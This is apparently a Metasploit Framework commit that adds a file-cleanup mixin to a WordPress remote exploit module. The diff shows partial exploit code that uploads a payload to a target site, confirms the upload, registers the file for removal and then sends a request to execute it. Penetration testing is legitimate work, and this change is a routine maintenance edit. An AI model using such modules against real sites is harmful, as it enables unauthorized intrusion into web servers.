Add Msf::Exploit::FileDropper mixin

bug/bundler_fix
rastating 2015-01-08 21:07:00 +00:00
parent 93dc90d9d3
commit 82e6183136
1 changed files with 3 additions and 0 deletions

View File

@ -8,6 +8,7 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::HTTP::Wordpress
def initialize(info = {})
@ -76,6 +77,8 @@ class Metasploit3 < Msf::Exploit::Remote
if res && res.code == 200 && res.body.length > 0 && !res.body.include?('error') && res.body != '0'
print_good("#{peer} - Uploaded the payload")
register_files_for_cleanup(payload_name)
print_status("#{peer} - Executing the payload...")
send_request_cgi(
{